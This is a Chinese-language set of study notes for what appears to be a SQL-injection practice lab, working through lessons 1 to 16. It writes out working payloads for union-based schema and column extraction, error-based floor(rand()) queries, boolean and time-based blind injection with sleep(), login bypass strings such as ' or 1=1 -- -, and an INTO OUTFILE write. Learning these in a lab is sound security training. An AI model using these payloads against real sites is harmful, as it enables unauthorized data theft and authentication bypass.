Lesson01:
字符型注入
地址欄加上 ?id=5' and '1'='1 測試通過
地址欄加上 ?id=5' (此處可加上惡意sql語句)--+ 測試通過(注釋的方法)
Lesson02:
數字型注入
id=5-2 返回和 id=3一樣的結果,說明是數字型的注入
id=2 (此處可加上惡意sql語句) --+
PS: 有的sql查詢語句會在后邊加上limit(0,1),只返回第一條有效的查詢結果,在這里我們可以通過設置前一個正常的id的值無效,來使得最終結果來返回我們構造的語句的返回值。
Lesson03:
id=5 and 1=1
id=5 and 1=2 沒有什么變化
id=3'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
說明原來的sql的語句中有 ) , 閉合的方法是再添加一個)
利用: 1. id=1') and ('1'='1
2. id=1') sql語句 --+
Lesson04:
基于雙引號的字符型查詢,和lesson03差不多
1.order by 查詢字段數
2. database() 查詢當前數據庫名字
3.user() 當前用戶
4. information_schema.tables 存放所有的表名 (mysql)
5.union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --+
這個是查詢數據庫里邊有哪些表,使用limit語句來顯示返回第幾個查詢結果
6. union select 1,column_name,3 from information_schema.columns where table_name='users' limit 2,1 --+ 查詢users表中,各個列的名字(字段名)
7.union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema="security" --+
也可以這樣,使用group_concat(column_name)來返回所有的字段名
Lesson05&06:
基于錯誤的注入:
and ( select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b)--+
rand() 獲取0-1之間的一個浮點隨機數
floor() 取地板操作
group by 根據...分組
concat() 字符串連接
count() 計數函數
1.
(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a
這個表示給查詢結果(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))
取一個別名a
2.
(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b
這個表示給查詢結果(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)取一個別名b
3.
and ( select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
這一句就可以查詢出數據表的名字....
lesson07:
select * from Table into outfile '/路徑/文件名'
Lesson08:
基于bool的盲注:
substr(String , int x, int y) 把字符串從x到y截取下來
ascii( char ) 返回assic碼值
Lesson09&10:
基于時間的盲注: 根據一些時間函數,來自控制結果的返回時間,以此來判斷自己的推斷是不是正確的,由于web界面的返回值始終是true,只能通過時間差來判斷。
sleep(n) 進程掛起n秒
if(1,2,3) 如果1則2,否則3
and (select if(assic(substr(database(),1,1)) , sleep(5),NULL) ) --+
Lesson11&12:
get post 注入
常用的“萬能密碼”: ' or 1=1 -- -
') or 1=1
'or'='or'
登錄: ' or 1=1 limit 0,1 # 密碼隨便輸入就行
但是使用 --+ 來注釋的時候不知道為啥 密碼必須是 ' or 1=1
lesson12 就是 (“input”) 這種類型的
Lesson13&14:
基于錯誤的注入:
lesson13 ‘) 注入語句#
mysql常見的系統函數及變量:
user() 用戶名 session_user() 連接數據庫的用戶名 database()數據庫名 vsersion()版本
curren_user 當前用戶名 @@hostname主機名 @@port 端口 @@datadir 數據庫路徑
@@basedir 安裝路徑 @@vsersion_compile_os 操作系統
Lesson15:
1' or 盲注
Lesson16:
盲注(時間)
1") or sleep(1)
1") or sleep(1)=0 (因為sleep函數的返回值是0)使用or的時候要注意
1.
select username,password from tables where id='input' limit 0,1
' and 1=1 --+
2.
select username,password from tables where id=input limit 0,1
3.
select username,password from tables where id=('input') limit 0,1
4.
select username,password from tables where id=("input") limit 0,1
5.
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )--+
6.
1" --+
9.
?id=2' and sleep(5)--+
10.
?id=2" and sleep(5)--+
?id=2" and if(database()='security',sleep(5),NULL)--+
11.
uname=ain' union select 1,database() -- -&passwd=admin&submit=Submit
13.
輸入的類型是('input')
uname=') and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b ) -- -&passwd=admin&submit=Submit
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。